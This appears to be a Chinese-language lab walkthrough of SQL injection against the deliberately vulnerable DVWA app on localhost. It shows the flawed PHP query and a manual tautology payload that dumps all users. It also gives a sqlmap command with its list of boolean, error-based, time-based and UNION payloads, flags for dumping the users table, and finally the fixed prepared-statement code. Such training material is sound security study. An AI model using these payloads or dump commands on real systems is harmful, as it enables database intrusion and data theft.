进入 SQL injection 。首先,我们查看源代码,这里就是接收了一个参数 id ,然后执行 sql 语句,并且是字符型的:
$id = $_REQUEST[ 'id' ]; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; // id 有引号,字符型
手动注入
因此,在表单里插入 SQL 语言(例如 1' or '1234'='1234 ,提交表单,就可以得到一些数据,分析可知,这里的条件一定满足,因此返回的是所有的数据:
ID: 1' or '1234'='1234 First name: admin Surname: admin ID: 1' or '1234'='1234 First name: Gordon Surname: Brown ID: 1' or '1234'='1234 First name: Hack Surname: Me ID: 1' or '1234'='1234 First name: Pablo Surname: Picasso ID: 1' or '1234'='1234 First name: Bob Surname: Smith
python sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=233&Submit=Submit" --batch --cookie "PHPSESSID=ara6drni1r464b5vu2bu51cjk4; security=low" # 注意 url 和 cookie 执行从浏览器抓包工具获取 # 结果 sqlmap identified the following injection point(s) with a total of 143 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: id=233' OR NOT 6220=6220#&Submit=Submit
Type: error-based Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) Payload: id=233' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7171716b71,(SELECT (ELT(9664=9664,1))),0x716b627871,0x78))s), 8446744073709551610, 8446744073709551610)))-- NInX&Submit=Submit
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=233' AND (SELECT 8305 FROM (SELECT(SLEEP(5)))aIhA)-- ALvX&Submit=Submit
Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: id=233' UNION ALL SELECT CONCAT(0x7171716b71,0x6d6f645958746e434570746374515164675a5a5778666e517947427969725354467776425a66436e,0x716b627871),NULL#&Submit=Submit ---
然后,我们添加 --bds 标志,再次运行,就可以破解得到当前的数据库:
available databases [4]: [*] dvwa [*] information_schema [*] mysql [*] performance_schema
--second-url 是二级注入的另一个页面,然后自动操作,并且清空之前的缓存。 sqlmap 自动注入后,发现 post 请求的参数 id 有如下三种注入漏洞(。接下来,和上面一样,使用 --dbs 、 -D dwva --tables 、 -D dwva -T users --dump 等标志拿到所有需要的数据。
sqlmap identified the following injection point(s) with a total of 99 HTTP(s) requests: --- Parameter: id (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: id=1' AND 1155=(SELECT (CASE WHEN (1155=1155) THEN 1155 ELSE (SELECT 1708 UNION SELECT 9973) END))-- IfmX&Submit=Submit
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 5983 FROM (SELECT(SLEEP(5)))bCUn) AND 'CuOS'='CuOS&Submit=Submit
Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: id=1' UNION ALL SELECT CONCAT(0x7176787a71,0x4a624164734e68675857796d6d6b4f6f636e587a6650704c6a476f756e6b69594f4b5254744f5161,0x716a766b71),NULL-- -&Submit=Submit ---
// Was a number entered? if(is_numeric( $id )) { // 判断是否为数字 // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch();
// Make sure only 1 result is returned // 保证输出只有一条 if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ];
// Feedback for end user echo"<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } }